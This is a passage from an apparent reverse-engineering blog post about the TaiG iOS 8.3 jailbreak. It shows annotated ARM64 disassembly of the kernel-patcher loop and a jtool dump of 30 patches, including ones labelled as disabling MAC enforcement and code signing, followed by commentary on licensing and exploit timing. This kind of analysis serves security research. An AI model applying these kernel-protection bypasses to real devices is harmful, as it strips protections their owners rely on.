10000c2d8 a9bc5ff8 STP X24, X23, [SP,#-64]! 10000c2dc a90157f6 STP X22, X21, [SP,#16] 10000c2e0 a9024ff4 STP X20, X19, [SP,#32] 10000c2e4 a9037bfd STP X29, X30, [SP,#48] 10000c2e8 9100c3fd ADD X29, SP, #48; ; R29 = SP + 0x30 10000c2ec aa0203f6 *MOV X22, X2 10000c2f0 aa0103f3 *MOV X19, X1 10000c2f4 aa0003f4 *MOV X20, X0 10000c2f8 94000dbb BL _get_kernel_base ; ; 0x10000f9e4 10000c2fc aa0003f5 *MOV X21, X0 10000c300 d2800017 MOVZ X23, #0; ; ->R23 = 0x0 10000c304 93407ed6 ASR X22, X22, #0 //
// This calls the kernel patchers from 0x10001c728, starting with 0x100006ff0:offsets stored 16fd4fa10 //
10000c308 10082118 ADR x24, 66592; ; ->R24 = 0x10001c728 10000c30c d503201f NOP loop: 10000c310 f8410708 -LDR X8, [X24], #16; ; R8 = *(R24(0x10001c728) + 0x10) = *(0x10001c738) => 0x100006ff0 10000c314 aa1503e0 *MOV X0, X21 10000c318 aa1303e1 *MOV X1, X19 10000c31c aa1603e2 *MOV X2, X22 10000c320 d63f0100 BLR X8 10000c324 f8376a80 STR X0, [X20, xX23] ..; ; *((0xffffffffffffc988) + 0x0) *0xffffffffffffc988 = X0 0xffffffffffffc988 10000c328 910022f7 ADD X23, X23, #8; ; ..R23 = R23 (0x0) + 0x8 = 0x8 10000c32c f103c2ff CMP X23, #240 10000c330 54ffff01 B.NE loop ; ; 0x10000c310 10000c334 52800000 MOVZ W0, #0; ; ->R0 = 0x0 10000c338 a9437bfd LDP X29, X30, [SP,#48] 10000c33c a9424ff4 LDP X20, X19, [SP,#32] 10000c340 a94157f6 LDP X22, X21, [SP,#16] 10000c344 a8c45ff8 LDP X24, X23, [SP],#64 10000c348 d65f03c0 RET

As you can see, this is a loop that iterates over function pointers from 0x10001c728. The loop iterates for over 30 pointers (240). Dumping with jtool you'll see:

bash-3.2$ jtool --jtooldir ~/Documents/iOS/JB/TaiG8.3 -arch arm64 -d 0x10001c728,240 ~/Documents/iOS/JB/TaiG8.3/taig.2.4.3
Opened companion File: /Users/morpheus/Documents/iOS/JB/TaiG8.3/taig.2.4.3.ARM64.3634B551-1F4D-356D-B8C7-EB4DA69056FD
Loading symbols...
Dumping from address 0x10001c728 (Segment: __DATA.__const)
0x10001c728: a8 6f 00 00 01 00 00 00 _patch_1(5) 
0x10001c730: c3 ad 01 00 01 00 00 00 ""
0x10001c738: f0 6f 00 00 01 00 00 00 _patch_2(6) 
0x10001c740: c3 ad 01 00 01 00 00 00 ""
0x10001c748: 60 6f 00 00 01 00 00 00 _patch_3(4) 
0x10001c750: c3 ad 01 00 01 00 00 00 ""
0x10001c758: 38 70 00 00 01 00 00 00 _patch_4(7) 
0x10001c760: c3 ad 01 00 01 00 00 00 ""
0x10001c768: 80 70 00 00 01 00 00 00 _patch_5(8) 
0x10001c770: c3 ad 01 00 01 00 00 00 ""
0x10001c778: c8 70 00 00 01 00 00 00 _patch_6(9) 
0x10001c780: c3 ad 01 00 01 00 00 00 ""
0x10001c788: 68 73 00 00 01 00 00 00 _patch_7(11) (security.mac.proc_enforce) 
0x10001c790: c3 ad 01 00 01 00 00 00 ""
0x10001c798: ec 73 00 00 01 00 00 00 _patch_8 (security.mac.vnode_enforce) 
0x10001c7a0: c3 ad 01 00 01 00 00 00 ""
0x10001c7a8: 70 74 00 00 01 00 00 00 _patch_9 (code signature) 
0x10001c7b0: c3 ad 01 00 01 00 00 00 ""
0x10001c7b8: 5c 85 00 00 01 00 00 00 _patch_10 
0x10001c7c0: c3 ad 01 00 01 00 00 00 ""
0x10001c7c8: ec 86 00 00 01 00 00 00 _patch_11 
0x10001c7d0: c3 ad 01 00 01 00 00 00 ""
0x10001c7d8: 5c 87 00 00 01 00 00 00 _patch_12 
0x10001c7e0: c3 ad 01 00 01 00 00 00 ""
0x10001c7e8: 7c 88 00 00 01 00 00 00 _patch_13 
0x10001c7f0: c3 ad 01 00 01 00 00 00 ""
0x10001c7f8: 58 76 00 00 01 00 00 00 _patch_14 
0x10001c800: c3 ad 01 00 01 00 00 00 ""
0x10001c808: 78 77 00 00 01 00 00 00 _patch_15 
0x10001c810: c3 ad 01 00 01 00 00 00 ""
0x10001c818: 90 78 00 00 01 00 00 00 _patch_16 
0x10001c820: c3 ad 01 00 01 00 00 00 ""
0x10001c828: 9c 79 00 00 01 00 00 00 _patch_17 
0x10001c830: c3 ad 01 00 01 00 00 00 ""
0x10001c838: 18 7a 00 00 01 00 00 00 _patch_18 
0x10001c840: c3 ad 01 00 01 00 00 00 ""
0x10001c848: ac 7a 00 00 01 00 00 00 _patch_19 
0x10001c850: c3 ad 01 00 01 00 00 00 ""
0x10001c858: 94 7b 00 00 01 00 00 00 _patch_20 (BBBBBBBBGGGGGGGGRRRRRRRR) 
0x10001c860: c3 ad 01 00 01 00 00 00 ""
0x10001c868: c0 7c 00 00 01 00 00 00 _patch_21 (.HFS+ Private Directory Data) 
0x10001c870: c3 ad 01 00 01 00 00 00 ""
0x10001c878: 50 7d 00 00 01 00 00 00 _patch_22 
0x10001c880: c3 ad 01 00 01 00 00 00 ""
0x10001c888: 44 7e 00 00 01 00 00 00 _patch_23 
0x10001c890: c3 ad 01 00 01 00 00 00 ""
0x10001c898: 08 7f 00 00 01 00 00 00 _patch_24 
0x10001c8a0: c3 ad 01 00 01 00 00 00 ""
0x10001c8a8: 7c 7f 00 00 01 00 00 00 _patch_25 
0x10001c8b0: c3 ad 01 00 01 00 00 00 ""
0x10001c8b8: 18 80 00 00 01 00 00 00 _patch_26 
0x10001c8c0: c3 ad 01 00 01 00 00 00 ""
0x10001c8c8: 2c 81 00 00 01 00 00 00 _patch_27 
0x10001c8d0: c3 ad 01 00 01 00 00 00 ""
0x10001c8d8: 44 82 00 00 01 00 00 00 _patch_28 
0x10001c8e0: c3 ad 01 00 01 00 00 00 ""
0x10001c8e8: 5c 83 00 00 01 00 00 00 _patch_29 
0x10001c8f0: c3 ad 01 00 01 00 00 00 ""
0x10001c8f8: 68 84 00 00 01 00 00 00 _patch_30 
0x10001c900: c3 ad 01 00 01 00 00 00 ""

I symbolicated a few of the key patches in the companion file (hence the jtool output. The (same) Null strings imply there might have been a patch description there at some point, but it's been removed.

Anyway, from here on it's pretty straightforward.

The high level view

To summarize:

Final notes

If you didn't skip it all, and think that was a lot of work to follow along - just imagine how much work it is to reverse it :-) And this *is* a tad simplified. There's some IOConnectTraps I ignored, and other portions of the code which aren't that important. It was still a considerable amount of work. Fortunately, I've managed to improve jtool considerably during the process (since I don't use IDA, it's either my tool or (n)otool..), and I hope that the HTML output is legible enough. But really, think of how much work one would need to a) find the bugs b) exploit them and c) get it right every single time. Pretty amazing.

When TaiG was out, there was some rant on TWTR whether or not it was "stealing" any code, specifically libTar and/or PlanetBeing's.. As the above shows, TaiG did in fact use libtar. And the 32-bit planetbeing patch finder. The former, likely for convenience (without stating the free license! SHAME, TaiG! Shame!). The latter, one can't copyright (locking onto the same signature and modifying it necessitates the same code). In the 64 bit case, the code is entirely original, as PlanetBeing (AFAICT) never got to support ARM64. Incidentally, if anyone wants the 64-bit patches, drop me a line. A side effect of this is I have them reversed (and copyright/license free :-).

Yes, one can complain about licenses and theft. But, seriously, who the heck cares when the technical mastery required to pull this off (not to mention burning 5-6 exploits) outdoes coding a measly tar implementation by parsecs?

Final, Final note:

Just for the off chance this gets to either TaiG or Pangu (Love you both equally :-)
Yes, 8.4.1 is Jailbreakable. So is 9b4. We know.

你(们)还是忍耐一点吧!!勿图一的痛快!

please DO NOT blow exploits.

$#$#%$#%#$ WAIT for iOS 9. It's just about three weeks away. Try delaying gratification for a change.. It increases the effect.